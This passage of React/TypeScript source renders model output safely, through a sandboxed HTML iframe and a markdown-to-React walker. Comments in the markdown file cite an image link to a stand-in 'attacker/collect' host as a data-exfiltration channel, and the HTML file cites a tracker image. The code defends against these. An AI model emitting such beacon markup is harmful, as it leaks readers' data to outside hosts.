data-[side=top]:slide-in-from-bottom-2',\n className,\n )}\n {...props}\n />\n </TooltipPrimitive.Portal>\n));\nTooltipContent.displayName = TooltipPrimitive.Content.displayName;\n\nexport { TooltipProvider, TooltipRoot, TooltipTrigger, TooltipContent };\n","'use client';\n\nimport { useEffect, useLayoutEffect, useRef, useState } from 'react';\nimport type { HtmlContentView } from '../core/native-content';\n\n/**\n * A `native.Html` result, rendered as the markup it is — inside a sandbox.\n *\n * ## Why this is not `dangerouslySetInnerHTML`\n *\n * The markup is **model output**. Injecting it into the host's document would\n * put a script tag, an `onerror` handler and a form posting to somewhere else\n * one prompt away from executing on the host's origin, with the host's cookies.\n * A kernel cannot make that decision for every consumer, and \"the host should\n * sanitize it\" is not a decision either — it is a hope, and the failure is\n * silent until it is a breach.\n *\n * The alternative would be shipping a sanitizer, and that is a real cost this\n * package's [dependency budget](../../docs/dependency-budget.md) makes a\n * reviewed decision rather than a convenience. So the markup goes into an\n * iframe, which is the platform's own answer and weighs nothing.\n *\n * ## What the sandbox actually stops\n *\n * Two mechanisms, and they cover different things:\n *\n * - **`sandbox` without `allow-scripts`.** No JavaScript runs in the frame at\n * all: no `<script>`, no `on*` handler, no `javascript:` URL. This is the load\n * bearing one. `allow-same-origin` IS granted, and that pairing is the safe\n * one — same-origin is only dangerous *together with* scripts, and without it\n * the parent could not measure the content to size the frame.\n * - **A `Content-Security-Policy` meta.** `default-src 'none'` with inline\n * styles allowed, and `img-src` carrying whatever `imgSrc` says — `data:` and\n * `https:` by default.\n *\n * `https:` was NOT in that list at first, and the reasoning was that markup\n * carrying `<img src=\"https://tracker/…\">` phones home the moment a result is\n * displayed — a privacy leak that survives the sandbox, since it needs no\n * script. That is a real leak and it is still the reason `imgSrc` exists as a\n * prop. What it got wrong is whose markup this is: a method's HTML result\n * embeds the images that method produced, so blocking remote images broke the\n * ordinary case — a generated report rendered with a broken-image glyph where\n * its own illustration belongs — to defend against an unusual one. A host that\n * would rather pay that cost passes `imgSrc=\"data:\"`, or names its own origin.\n *\n * Everything else stays shut: no scripts, no fetch, no forms, no navigation.\n *\n * Navigation is not granted either (`allow-top-navigation` is absent and no\n * `allow-popups`), so a link cannot move the host anywhere.\n *\n * **Chrome logs `Blocked script execution in 'about:srcdoc'` for every frame\n * here, and it is not a bug to chase.** It is reproducible with a bare\n * `<iframe sandbox=\"allow-same-origin\" srcdoc=\"<h2>Hi</h2>\">` — no CSP, no\n * script anywhere in the document — so it is the browser reporting that the\n * sandbox is on, not a report that something in the markup tried to run.\n *\n * ## Why the styles are copied in rather than inherited\n *\n * A frame is a separate document: none of the host's CSS crosses into it, so\n * unstyled markup would render as the browser's 1996 defaults in the middle of a\n * themed panel — and in a dark theme, black on white. So the few properties that\n * make it belong (colour, font, size) are read off the mount point with\n * `getComputedStyle` and written into the frame's own stylesheet. Reading them\n * from the DOM rather than from tokens is what makes it follow a host's theme\n * without this package knowing what the host's tokens are called.\n */\n\n/** What `img-src` allows by default: inline data and ordinary remote images. */\nconst DEFAULT_IMG_SRC = 'data: https:';\n\n/** The frame's own stylesheet: the host's typography, and table chrome. */\nfunction frameStyles(color: string, mutedColor: string, borderColor: string, font: string): string {\n return `\n :root { color-scheme: inherit; }\n body {\n margin: 0;\n color: ${color};\n font-family: ${font};\n font-size: 13px;\n line-height: 1.55;\n background: transparent;\n overflow-wrap: anywhere;\n }\n :where(h1, h2, h3, h4, h5, h6) { margin: 0 0 0.4em; line-height: 1.25; }\n :where(h1) { font-size: 1.4em; }\n :where(h2) { font-size: 1.2em; }\n :where(h3) { font-size: 1.05em; }\n :where(p, ul, ol, table, pre, blockquote) { margin: 0 0 0.75em; }\n :where(ul, ol) { padding-inline-start: 1.25em; }\n :where(table) { border-collapse: collapse; width: 100%; }\n :where(th, td) {\n border: 1px solid ${borderColor};\n padding: 4px 8px;\n text-align: left;\n vertical-align: top;\n }\n :where(th) { font-weight: 600; }\n :where(caption) { caption-side: top; color: ${mutedColor}; padding-bottom: 4px; text-align: left; }\n :where(a) { color: inherit; }\n :where(code, pre) { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: 0.92em; }\n :where(pre) { white-space: pre-wrap; }\n :where(blockquote) { border-inline-start: 2px solid ${borderColor}; margin-inline-start: 0; padding-inline-start: 0.75em; color: ${mutedColor}; }\n :where(img) { max-width: 100%; height: auto; }\n :where(hr) { border: 0; border-top: 1px solid ${borderColor}; }\n :where(*:last-child) { margin-bottom: 0; }\n `;\n}\n\n/** The whole frame document. The CSP rides a meta because there is no header. */\nfunction frameDocument(content: HtmlContentView, styles: string, imgSrc: string): string {\n const body = content.cssClass\n ? // The class the value states, honoured the way the runtime's own HTML\n // rendering honours it: as a wrapper, not as something merged into ours.\n `<div class=\"${escapeAttribute(content.cssClass)}\">${content.innerHtml}</div>`\n : content.innerHtml;\n return [\n '<!doctype html><html><head><meta charset=\"utf-8\">',\n `<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; style-src 'unsafe-inline'; img-src ${imgSrc}; base-uri 'none'; form-action 'none'\">`,\n `<style>${styles}</style></head><body>${body}</body></html>`,\n ].join('');\n}\n\n/** A class name is written into an attribute, so its quotes must not close it. */\nfunction escapeAttribute(value: string): string {\n return value.replace(/&/g, '&amp;').replace(/\"/g, '&quot;').replace(/</g, '&lt;');\n}\n\n/** SSR has no layout to measure; `useEffect` on the server is a no-op anyway. */\nconst useIsomorphicLayoutEffect = typeof window === 'undefined' ? useEffect : useLayoutEffect;\n\nexport interface HtmlPreviewProps {\n content: HtmlContentView;\n /**\n * Beyond this the frame scrolls rather than growing.\n *\n * Generous on purpose. A `native.Html` result is usually a whole report, and\n * 480px showed three paragraphs of one with a scrollbar down the side while\n * the panel around it sat empty — the reader scrolls twice to read once. The\n * frame still sizes itself to its CONTENT, so a short snippet stays short;\n * this only says how far it may grow before scrolling instead.\n */\n maxHeight?: number;\n /**\n * The frame's `img-src`. Defaults to `data: https:` — a method's HTML result\n * embeds the images that method produced. Pass `\"data:\"` to block remote\n * images entirely, or name an origin to allow only your own storage.\n */\n imgSrc?: string;\n}\n\nexport function HtmlPreview({\n content,\n maxHeight = 1400,\n imgSrc = DEFAULT_IMG_SRC,\n}: HtmlPreviewProps) {\n const hostRef = useRef<HTMLDivElement>(null);\n const frameRef = useRef<HTMLIFrameElement>(null);\n const [doc, setDoc] = useState<string | null>(null);\n const [height, setHeight] = useState(0);\n\n // The frame's document is built in an effect, not during render, because it\n // reads the host's COMPUTED style - which does not exist until the element is\n // in the document, and differs between the two themes a story renders at once.\n useIsomorphicLayoutEffect(() => {\n const host = hostRef.current;\n if (!host) return;\n const computed = getComputedStyle(host);\n setDoc(\n frameDocument(\n content,\n frameStyles(\n computed.color,\n computed.getPropertyValue('--muted-foreground').trim() || computed.color,\n computed.borderColor || computed.color,\n computed.fontFamily,\n ),\n imgSrc,\n ),\n );\n }, [content, imgSrc]);\n\n // Size the frame to its content. `allow-same-origin` is what makes this\n // readable; a frame we could not measure would be a fixed box with a scrollbar\n // around two lines of markup.\n const measure = () => {\n const body = frameRef.current?.contentDocument?.body;\n if (body) setHeight(body.scrollHeight);\n };\n\n useEffect(() => {\n // Re-measure on resize: the frame reflows with the column, and a table that\n // was two lines wide at 720px is four at 360.\n //\n // Guarded on the API existing rather than assumed, and not only for jsdom\n // (which has no `ResizeObserver`): this is an enhancement over the `onLoad`\n // measurement, so an environment without it gets a frame sized once instead\n // of a component that throws. A control that hard-requires a browser API it\n // does not need is a control a host cannot render on the server.\n if (!doc || !hostRef.current || typeof ResizeObserver === 'undefined') return;\n const observer = new ResizeObserver(measure);\n observer.observe(hostRef.current);\n return () => observer.disconnect();\n }, [doc]);\n\n return (\n <div\n ref={hostRef}\n className=\"overflow-hidden rounded-lg border border-border bg-card/40 px-3.5 py-3 text-[13px] text-foreground\"\n >\n {doc === null ? null : (\n <iframe\n ref={frameRef}\n title={content.cssClass ? `HTML result (${content.cssClass})` : 'HTML result'}\n srcDoc={doc}\n onLoad={measure}\n sandbox=\"allow-same-origin\"\n style={{\n display: 'block',\n width: '100%',\n border: 0,\n height: height === 0 ? undefined : Math.min(height, maxHeight),\n maxHeight,\n }}\n />\n )}\n </div>\n );\n}\n","'use client';\n\nimport * as React from 'react';\nimport { marked, type Token, type Tokens } from 'marked';\n\nimport { viewableUrl } from '../core/native-content';\nimport { useProseImages, type ProseImages } from './result-env';\nimport { cn } from './utils';\n\n/**\n * Markdown, rendered as React elements — never as injected HTML.\n *\n * ## Why prose is rendered as markdown at all\n *\n * `prose` is the standard's kind for flowing free text, and what fills it in\n * practice is a language model's answer. Those answers are markdown: headings,\n * `**bold**`, bullet lists, occasionally a table. Rendered as plain text they\n * are a wall of literal `#` and `**`, which is not a neutral fallback — it is a\n * WRONG rendering of a value whose author meant something by those characters.\n *\n * The descriptor never says \"this is markdown\", and it does not need to: the\n * decision here is about TYPESETTING one text value, not about deriving what a\n * field is, and markdown degrades by design. A paragraph with no markup renders\n * as that paragraph. So the rule is simply that `prose` is typeset as markdown,\n * with no payload sniffing and no per-value heuristic to get wrong.\n *\n * `breaks: true` is not cosmetic. Plain markdown joins single newlines into one\n * paragraph, and the arm this replaced rendered prose with `white-space:\n * pre-wrap`, which preserved them. A value whose author put each item on its own\n * line without bulleting it would otherwise have been silently reflowed into a\n * paragraph — a regression invisible in any diff.\n *\n * ## Why the tokens are walked instead of `marked.parse()`\n *\n * `marked.parse()` returns an HTML string, and there are only two ways to put a\n * string of HTML on a page: `dangerouslySetInnerHTML`, or a sandboxed frame.\n * This value is MODEL OUTPUT, so the first would put a `<script>` and an\n * `onerror` handler one prompt away from running on the host's origin with the\n * host's cookies — and markdown permits raw HTML, so that is a real path rather\n * than a theoretical one. The second (what `HtmlPreview` does for `native.Html`)\n * is safe but heavy: a separate document per prose field, with its own styles\n * copied in and its height measured, around what is usually two sentences.\n *\n * Walking `marked.lexer()`'s tokens into React elements avoids the question\n * entirely. Every element below is one this file wrote; text only ever reaches\n * the DOM as a text child. There is no HTML string anywhere in the path, so\n * there is nothing to sanitize and no sanitizer to ship — and the `html` token\n * is rendered as its own literal source, which is the honest thing to do with\n * markup we have decided not to execute.\n */\n\n/** Lexer options, fixed here so every prose value is typeset the same way. */\nconst LEX_OPTIONS = { gfm: true, breaks: true } as const;\n\nexport interface MarkdownProps {\n text: string;\n className?: string;\n /**\n * What an image in this text does. Defaults to the surrounding\n * `ResultEnvProvider`'s `proseImages`, and to `'link'` outside one — see\n * {@link ProseImages} for why the default is not to load.\n */\n proseImages?: ProseImages;\n}\n\nexport function Markdown({ text, className, proseImages }: MarkdownProps) {\n const tokens = React.useMemo(() => marked.lexer(text, LEX_OPTIONS), [text]);\n const fromEnv = useProseImages();\n // The prop wins over the provider, so a host rendering one prose value its own\n // way does not have to nest a second provider to say so.\n const mode = proseImages ?? fromEnv;\n return (\n <ProseImagesContext value={mode}>\n <div className={cn('space-y-2 text-[13px] leading-relaxed text-foreground', className)}>\n <Blocks tokens={tokens} />\n </div>\n </ProseImagesContext>\n );\n}\n\n/**\n * The policy, threaded to the one token that needs it.\n *\n * A context rather than a prop on every walker: `Block`, `Inline` and\n * `InlineToken` recurse through each other, and passing a value only the `image`\n * arm reads through all three would put it in every signature in the file.\n */\nconst ProseImagesContext = React.createContext<ProseImages>('link');\n\nconst HEADING_CLASS: Record<number, string> = {\n 1: 'text-[16px] font-semibold',\n 2: 'text-[14.5px] font-semibold',\n 3: 'text-[13.5px] font-semibold',\n 4: 'text-[13px] font-semibold',\n 5: 'text-[13px] font-semibold',\n 6: 'text-[13px] font-semibold',\n};\n\nfunction Blocks({ tokens }: { tokens: readonly Token[] }) {\n return (\n <>\n {tokens.map((token, index) => (\n <Block key={index} token={token} />\n ))}\n </>\n );\n}\n\nfunction Block({ token }: { token: Token }) {\n switch (token.type) {\n case 'space':\n return null;\n\n case 'heading': {\n const heading = token as Tokens.Heading;\n // The level is authored data, so it is clamped rather than trusted: an\n // `<h9>` is not an element, and a depth outside 1-6 would render a tag\n // React does not know.\n const level = Math.min(Math.max(heading.depth, 1), 6);\n const Tag = `h${level}` as 'h1';\n return (\n <Tag className={cn('mt-3 first:mt-0', HEADING_CLASS[level])}>\n <Inline tokens={heading.tokens} />\n </Tag>\n );\n }\n\n case 'paragraph':\n return (\n <p>\n <Inline tokens={(token as Tokens.Paragraph).tokens} />\n </p>\n );\n\n // A `text` token in BLOCK position, which is what a tight list's items are\n // made of: the lexer wraps a loose item's content in a paragraph and a\n // tight one's in a bare `text`. Without this arm it fell through to the raw\n // fallback below and a bulleted `**Type:** …` rendered with its asterisks\n // showing - typeset everywhere except inside a list, which is where model\n // output puts most of its emphasis.\n case 'text':\n return <Inline tokens={(token as Tokens.Text).tokens ?? [token]} />;\n\n case 'list': {\n const list = token as Tokens.List;\n const Tag = list.ordered ? 'ol' : 'ul';\n return (\n <Tag\n className={cn('space-y-1 ps-5', list.ordered ? 'list-decimal' : 'list-disc')}\n // A list authored as `3.` starts at 3. `start` is meaningless on `ul`\n // and React warns about it, so it rides only the ordered arm.\n {...(list.ordered && list.start !== 1 ? { start: Number(list.start) } : {})}\n >\n {list.items.map((item, index) => (\n <li key={index} className=\"marker:text-muted-foreground\">\n {/* A task-list checkbox is DISABLED: this is a result being read,\n not a form. An interactive box would invite a click that\n changes nothing and is written nowhere. */}\n {item.task ? (\n <input\n type=\"checkbox\"\n checked={item.checked ?? false}\n disabled\n readOnly\n className=\"me-1.5 align-middle\"\n />\n ) : null}\n <Blocks tokens={item.tokens} />\n </li>\n ))}\n </Tag>\n );\n }\n\n case 'code': {\n const code = token as Tokens.Code;\n return (\n // WRAPPED, not scrolled. A code block in a side panel is usually not\n // code at all: it is a model that opened a fence and did not close it,\n // or closed one it never opened, and the rest of a report ends up\n // inside it. Scrolling that sideways hides the text behind a scrollbar\n // for no gain — the lines are prose, and prose wraps. Real code loses\n // its column alignment and keeps every character, which is the better\n // half of that trade at this width.\n <pre className=\"whitespace-pre-wrap wrap-break-word rounded-md border border-border bg-card/40 p-2.5 text-[12px]\">\n <code>{code.text}</code>\n </pre>\n );\n }\n\n case 'blockquote':\n return (\n <blockquote className=\"border-s-2 border-border ps-3 text-muted-foreground\">\n <Blocks tokens={(token as Tokens.Blockquote).tokens} />\n </blockquote>\n );\n\n case 'hr':\n return <hr className=\"border-border\" />;\n\n case 'table': {\n const table = token as Tokens.Table;\n return (\n // The same overflow rule the result tables follow: a wide table scrolls\n // inside its own box rather than widening the panel around it.\n <div className=\"overflow-x-auto rounded-lg border border-border\">\n <table className=\"min-w-full border-collapse text-[12.5px]\">\n <thead>\n <tr className=\"border-b border-border bg-card/40\">\n {table.header.map((cell, index) => (\n <th\n key={index}\n scope=\"col\"\n className=\"px-2.5 py-1.5 text-start font-semibold\"\n style={alignOf(table.align[index])}\n >\n <Inline tokens={cell.tokens} />\n </th>\n ))}\n </tr>\n </thead>\n <tbody>\n {table.rows.map((row, rowIndex) => (\n <tr key={rowIndex} className=\"border-b border-border/60 last:border-b-0\">\n {row.map((cell, cellIndex) => (\n <td\n key={cellIndex}\n className=\"px-2.5 py-1.5 align-top\"\n style={alignOf(table.align[cellIndex])}\n >\n <Inline tokens={cell.tokens} />\n </td>\n ))}\n </tr>\n ))}\n </tbody>\n </table>\n </div>\n );\n }\n\n // `html` and anything this version of the lexer grows that we have no arm\n // for: shown as its own source text. Rendering markup we have decided not to\n // execute as the characters it is made of is the honest fallback - it never\n // silently drops content, and it never injects any.\n default:\n return <p className=\"whitespace-pre-wrap\">{rawOf(token)}</p>;\n }\n}\n\nfunction Inline({ tokens }: { tokens?: readonly Token[] }) {\n if (!tokens) return null;\n return (\n <>\n {tokens.map((token, index) => (\n <InlineToken key={index} token={token} />\n ))}\n </>\n );\n}\n\nfunction InlineToken({ token }: { token: Token }) {\n switch (token.type) {\n case 'text': {\n const text = token as Tokens.Text;\n // A `text` token carries nested tokens only when the lexer found markup\n // inside it; when it did not, `tokens` is absent and the string is the\n // content. Both arms are needed - reading `.text` unconditionally drops\n // nested emphasis, and recursing unconditionally renders nothing.\n return text.tokens ? <Inline tokens={text.tokens} /> : <>{decode(text.text)}</>;\n }\n case 'escape':\n return <>{(token as Tokens.Escape).text}</>;\n case 'strong':\n return (\n <strong className=\"font-semibold\">\n <Inline tokens={(token as Tokens.Strong).tokens} />\n </strong>\n );\n case 'em':\n return (\n <em className=\"italic\">\n <Inline tokens={(token as Tokens.Em).tokens} />\n </em>\n );\n case 'del':\n return (\n <del className=\"line-through\">\n <Inline tokens={(token as Tokens.Del).tokens} />\n </del>\n );\n case 'codespan':\n return (\n <code className=\"rounded border border-border bg-card/40 px-1 py-0.5 text-[0.92em]\">\n {decode((token as Tokens.Codespan).text)}\n </code>\n );\n case 'br':\n return <br />;\n case 'link': {\n const link = token as Tokens.Link;\n const href = safeHref(link.href);\n // A link whose scheme we will not follow keeps its TEXT. Dropping the\n // anchor and dropping the words are different things, and only the first\n // is a security decision.\n if (!href) return <Inline tokens={link.tokens} />;\n return (\n // The flag is set for everything under the anchor, so a nested `image`\n // token knows not to open one of its own — see {@link ProseImage}.\n <InsideLinkContext value={true}>\n <a\n href={href}\n target=\"_blank\"\n // `noreferrer` as well as `noopener`: a result view has no business\n // telling a third party which page it was opened from.\n rel=\"noreferrer noopener\"\n className=\"underline underline-offset-2\"\n >\n <Inline tokens={link.tokens} />\n </a>\n </InsideLinkContext>\n );\n }\n case 'image':\n return <ProseImage token={token as Tokens.Image} />;\n default:\n return <>{rawOf(token)}</>;\n }\n}\n\n/**\n * An image in model output, which by default is a link rather than a fetch.\n *\n * `![](https://attacker/collect?…)` is a request the browser makes as the result\n * is PAINTED — before anyone has read a word, with no click and no consent — so\n * a view whose entire content is model output had an open channel in it. As a\n * link, the alt text (or the URL, when the model wrote no alt) still says what\n * the model put there, and the fetch waits for a reader who wants it.\n *\n * A host that knows where its prose images come from opts in with\n * `proseImages: 'load'`. Either way the scheme must be `http:` or `https:`: a\n * `data:` image is refused outright even for a type the file arms would paint,\n * because a model's answer is not where an inline image arrives.\n *\n * **Inside a link it stays text, because `[![alt](img)](href)` is a link token\n * holding an image token** — the linked-thumbnail spelling, which models write\n * constantly. An anchor inside an anchor is not valid HTML: the parser un-nests\n * the pair into siblings, so a server-rendered page and the hydrated tree\n * disagree, and the link the author wrote points at the image instead of the\n * destination. An `<img>` nests inside an anchor perfectly well, so only the\n * link arm has to care.\n */\nfunction ProseImage({ token }: { token: Tokens.Image }) {\n const mode = React.use(ProseImagesContext);\n const insideLink = React.use(InsideLinkContext);\n const src = proseImageUrl(token.href);\n // A refused scheme keeps its TEXT, exactly as a refused link does: dropping\n // the element and dropping the words are different things.\n if (!src) return <>{token.text}</>;\n if (mode === 'load') {\n return (\n <img\n src={src}\n alt={token.text}\n referrerPolicy=\"no-referrer\"\n className=\"max-w-full rounded-md\"\n />\n );\n }\n // The enclosing anchor already carries a destination and a click; this is its\n // label. Falling back to the URL keeps that label from being empty.\n if (insideLink) return <>{token.text || src}</>;\n return (\n <a\n href={src}\n target=\"_blank\"\n rel=\"noreferrer noopener\"\n className=\"underline underline-offset-2\"\n >\n {token.text || src}\n </a>\n );\n}\n\n/**\n * Whether the walker is already inside an anchor.\n *\n * A context for the same reason the policy above is one: `Block`, `Inline` and\n * `InlineToken` recurse through each other, and a flag only the `image` arm\n * reads would otherwise sit in every signature in the file.\n */\nconst InsideLinkContext = React.createContext(false);\n\n/** An image URL a prose value may reach: the two network schemes, nothing else. */\nfunction proseImageUrl(href: string): string | undefined {\n const url = viewableUrl(href);\n // Narrower than the kernel gate on purpose. `viewableUrl` also accepts a\n // same-origin path, a `blob:` and an allow-listed `data:` - none of which a\n // model's prose has any business naming.\n return url && /^https?:/.test(url) ? url : undefined;\n}\n\n/**\n * A `javascript:` href is an execution path; only these are followed.\n *\n * Link policy is deliberately wider than image policy, because a link needs a\n * CLICK. Which hosts a reader may be sent to is the host's allow-list to keep,\n * not this package's.\n */\nfunction safeHref(href: string): string | undefined {\n const trimmed = href.trim();\n if (/^(https?:|mailto:)/i.test(trimmed)) return trimmed;\n // A fragment names a position in THIS document and carries no scheme at all.\n if (trimmed.startsWith('#')) return trimmed;\n // A path looks same-origin and need not be: `//host/x` is protocol-relative,\n // and the URL parser reads `/\\host/x` the same way. The kernel gate settles it\n // by resolving against a sentinel origin and asking whether it stayed there,\n // which is one rule where this file used to have a prefix test that passed\n // both spellings.\n if (trimmed.startsWith('/')) return viewableUrl(trimmed);\n return undefined;\n}\n\nfunction alignOf(\n align: 'center' | 'left' | 'right' | null | undefined,\n): React.CSSProperties | undefined {\n return align ? { textAlign: align } : undefined;\n}\n\nfunction rawOf(token: Token): string {\n return 'raw' in token && typeof token.raw === 'string' ? token.raw : '';\n}\n\n/**\n * The lexer HTML-escapes text for its own HTML output, so `&amp;` and `&lt;`\n * arrive here already escaped. React escapes again on the way to the DOM, so\n * without this an ampersand in the source would be displayed as `&amp;`.\n */\nconst ENTITIES: Record<string, string> = {\n '&amp;': '&',\n '&lt;': '<',\n '&gt;': '>',\n '&quot;': '\"',\n '&#39;': \"'\",\n '&#x27;': \"'\",\n};\n\nfunction decode(text: string): string {\n return text.replace(/&(?:amp|lt|gt|quot|#39|#x27);/g, (entity) => ENTITIES[entity] ?? entity);\n}\n","'use client';\n\nimport type * as React from 'react';\nimport type { EnumRunField, ObjectRunField, RunField } from '../core';\nimport { conceptCategory } from '../core/descriptor';\nimport type { CompositeMember, DocumentContentView } from '../core/native-content';\nimport {\n formatDateContent,\n isNativeCompositeNode,\n isNativeDateNode,\n isNativeHtmlNode,\n isNativeValueNode,\n readCompositeContent,\n readDateContent,\n readDocumentContent,\n readHtmlContent,\n readImageContent,\n viewableUrl,\n} from '../core/native-content';\nimport { ownProp } from '../core/own-property';\nimport { useResolveShareUrl, useResolveUrl, useTableColumns, type ResolveUrl } from './result-env';\nimport { Fragment, useEffect, useRef, useState } from 'react';\nimport {\n Check,\n ChevronDown,\n ChevronRight,\n Copy,\n Eye,\n EyeOff,\n FileText,\n ImageOff,\n Loader2,\n} from 'lucide-react';\nimport { ConceptPill } from './concept-pill';\nimport { TooltipContent, TooltipProvider, TooltipRoot, TooltipTrigger } from './ui/tooltip';\nimport { HtmlPreview } from './html-preview';\nimport { Markdown } from './markdown';\nimport { encodedFileSummary } from './encoded-file';\nimport { useFieldStrings, type FieldStrings } from './field-strings';\nimport {\n enumLabeler,\n fieldLabel,\n humanizeFieldName,\n useFieldPresentation,\n type FieldPresentation,\n} from './field-presentation';\nimport { cn } from './utils';\n\n/**\n * A pipe's RESULT, rendered read-only.\n *\n * The same `RunField` the input controls are driven by — because an output is a\n * concept ref exactly like an input is, so its kinds, its nesting and its list\n * bounds are the same questions with the same answers. `buildResultField` maps\n * an output descriptor through the very mapper `buildRunFields` uses.\n *\n * What is NOT shared is the presentation, and deliberately: a result is read,\n * not edited. Rendering it as a disabled form would say \"you may not change\n * this\" where the truth is \"this is what came back\". So these are values with\n * labels, not controls with values.\n *\n * ## The dispatch is exhaustive, and that is load-bearing\n *\n * Every `RunFieldKind` gets an arm and the fall-through asserts `never`, so a\n * kind added to the descriptor fails the BUILD here rather than rendering wrong.\n * It used to fall through to `String(value)`, which turned a `document` result\n * into the literal text `[object Object]` — silently, with no error anywhere.\n *\n * The arms that read a structure (`document`, `image`, `date`) read it through\n * `../core/native-content`, keyed by the kind the descriptor STATES. That is\n * reading the standard's pinned content models; working out which kind a value\n * is by inspecting its keys would be guessing at them, and this file no longer\n * does any of it.\n *\n * **`native.Html` is the one arm keyed by CONCEPT rather than by kind**, and not\n * as an exception grudgingly made: the standard's kind vocabulary has no `html`\n * member, so markup arrives as an `object` node over `{inner_html, css_class}`.\n * That is right for the descriptor — kinds name how a value is ENTERED, and\n * markup is entered as text — and useless for a result, which would otherwise\n * print a page's source at a reader. Asking `refines`/`concept_ref` whether a\n * node is `native.Html` is a membership test on stated facts, which the\n * standard's own page names as the supported way to ask it.\n */\n\n/**\n * The wire wraps a scalar (and a plural) payload inside its content model; this\n * unwraps by the property NAME the descriptor carries.\n *\n * `contentKey` is the only unwrap path there is. The property-counting fallback\n * that used to sit here is deleted, not bypassed: it was the output side\n * reintroducing the shape sniffing the derivation swap removed, and requiring a\n * schema on `buildResultField` is what made deleting it possible.\n */\nfunction unwrap(field: RunField, value: unknown): unknown {\n if (!field.contentKey) return value;\n if (typeof value !== 'object' || value === null || Array.isArray(value)) return value;\n const unwrapped = ownProp(value as Record<string, unknown>, field.contentKey);\n return unwrapped === undefined ? value : unwrapped;\n}\n\n/**\n * A description, on hover and on focus — and nothing at rest.\n *\n * ## Why no dotted underline, and no info icon either\n *\n * The dotted underline is the `<abbr>` convention, and it does not survive\n * density: ten described fields in a record is ten underlined labels, which\n * reads as damage rather than as an affordance. An info icon is the other usual\n * answer and has the same problem one step removed — ten glyphs competing with\n * the concept pill already sitting beside each label.\n *\n * So: **nothing at rest.** The cue arrives when the pointer does — `cursor:\n * help` and a faint highlight, both at the moment the reader is already pointing\n * at the label, and neither costing anything when they are not. That is the\n * trade a supplementary fact deserves: the value is what the reader came for,\n * and the description is available rather than advertised.\n *\n * ## The part that is not a trade\n *\n * A fact reachable only by pointing is a fact a keyboard user does not have, so\n * the trigger is focusable and Radix shows the tooltip on focus as it does on\n * hover, wiring `aria-describedby` either way. That costs a tab stop per\n * described field, and it is the right cost: extra stops are an annoyance,\n * unreachable content is a failure.\n */\nfunction Described({ description, children }: { description?: string; children: React.ReactNode }) {\n if (!description) return <>{children}</>;\n return (\n <TooltipProvider delayDuration={200}>\n <TooltipRoot>\n <TooltipTrigger asChild>\n <span\n tabIndex={0}\n className=\"-mx-1 cursor-help rounded px-1 outline-hidden transition-colors hover:bg-muted focus-visible:ring-2 focus-visible:ring-ring\"\n >\n {children}\n </span>\n </TooltipTrigger>\n <TooltipContent>{description}</TooltipContent>\n </TooltipRoot>\n </TooltipProvider>\n );\n}\n\n/**\n * The label row of a result node — exported so the panel that owns the top-level\n * header draws the SAME one rather than a second that drifts from it.\n */\nexport function ResultHeader({ field }: { field: RunField }) {\n return <Label field={field} describe />;\n}\n\nfunction Label({ field, describe = false }: { field: RunField; describe?: boolean }) {\n // The same rule the input side follows, and for the same reason: in `studio`\n // the label IS the identifier the method author wrote, so it is shown\n // verbatim in mono beside its concept pill; in `app` it becomes a humanised\n // sans label and the pill goes, because a person reading a result has never\n // seen the bundle. Reading `useFieldPresentation` here rather than\n // humanising unconditionally is what keeps a result's labels agreeing with\n // the form's for the very same fields. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const labelText = fieldLabel(field.title, field.name, presentation);\n if (labelText.trim() === '') {\n return <ConceptPill conceptRef={field.conceptRef} category={conceptCategory(field)} />;\n }\n return (\n <div className=\"flex flex-wrap items-baseline gap-x-2\">\n <Described description={describe ? field.description : undefined}>\n <span\n className={cn(\n 'text-[13px] font-semibold text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {labelText}\n </span>\n </Described>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category={conceptCategory(field)} />}\n </div>\n );\n}\n\nexport function Absent() {\n const s = useFieldStrings();\n return (\n <span className=\"text-[13px] text-muted-foreground\">\n {/* The glyph is hidden from assistive tech and the sentence is hidden from\n the page: a column of hyphens read aloud is noise, and a column of\n \"not provided\" read on the page is louder than the data beside it. */}\n <span aria-hidden>{s.resultAbsent}</span>\n <span className=\"sr-only\">{s.resultAbsentDescription}</span>\n </span>\n );\n}\n\n/**\n * A structured value nothing named — as JSON, never as `[object Object]`.\n *\n * **`String(anObject)` is `\"[object Object]\"`, and that string must never reach\n * a reader.** It is not a rendering of anything: it says a value was present and\n * throws it away, which is strictly worse than both honest answers. There are\n * only two of those — *there is nothing here*, or *here is what is here* — and\n * this is the second.\n *\n * When it happens at all is a narrower question than it looks. A descriptor\n * states a `kind`, and every structured kind has an arm; so a record reaching\n * this component means the payload disagrees with the descriptor that described\n * it, or the node is `unknown` — the standard's own escape hatch for a kind\n * newer than the pinned `mthds`, whose entire contract is that a consumer may\n * not know what it is holding. Raw JSON is the right answer to both: the reader\n * sees the value, and nobody has invented a shape for it.\n */\nexport function stringifyValue(value: object): string | undefined {\n try {\n // A BigInt throws rather than serializing, and it can arrive from a JSON\n // parser configured to produce them. Naming it is better than failing.\n const text = JSON.stringify(value, (_key, member) =>\n typeof member === 'bigint' ? member.toString() : member,\n );\n if (text === undefined || text === '{}' || text === '[]') return undefined;\n return JSON.stringify(JSON.parse(text), null, 2);\n } catch {\n // Circular, and so unserializable. Still SOMETHING: name its members rather\n // than falling back to the one string this whole function exists to avoid.\n const keys = Array.isArray(value) ? [] : Object.keys(value);\n return keys.length > 0 ? `{ ${keys.join(', ')} }` : undefined;\n }\n}\n\nfunction RawValue({ value, compact }: { value: object; compact: boolean }) {\n const text = stringifyValue(value);\n // `{}` and `[]` are the EMPTY half of the rule: a value that holds nothing is\n // an absence, and printing two braces at a reader is not more honest.\n if (text === undefined) return <Absent />;\n return compact ? (\n <span title={text} className=\"truncate font-mono text-[12px] text-foreground\">\n {text}\n </span>\n ) : (\n <pre className=\"overflow-x-auto whitespace-pre-wrap wrap-break-word rounded-md border border-border bg-card/40 px-2.5 py-1.5 font-mono text-[12px] leading-relaxed text-foreground\">\n {text}\n </pre>\n );\n}\n\n/**\n * A value, as text.\n *\n * `compact` is the table-cell variant: a cell is one line, so the newlines a\n * stacked field preserves must not open a row to three. Set by `LeafValue` when\n * it renders into a `<td>`, never guessed from the value.\n */\nfunction Scalar({ value, compact = false }: { value: unknown; compact?: boolean }) {\n if (value === null || value === undefined || value === 